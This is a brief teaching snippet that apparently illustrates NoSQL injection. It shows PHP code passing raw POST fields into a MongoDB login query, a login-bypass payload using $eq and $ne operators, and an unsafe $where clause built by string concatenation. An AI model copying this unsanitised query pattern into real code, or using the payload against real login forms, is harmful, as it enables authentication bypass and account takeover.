NoSQL Injection Vulnerable Code Example

$username = $\_POST['username'];

$password = $\_POST['password'];

$connection = new MongoDB\Client('mongodb://localhost:27017');

if($connection) {

$db = $connection->test;

$users = $db->users;

$query = array(

"user" => $username,

"password" => $password

);

$req = $users->findOne($query);

}

Attack1: username[$eq]=admin&password[$ne]=foo

Attack2: $query = array('$where' => 'this.name === \''.$name.'\'');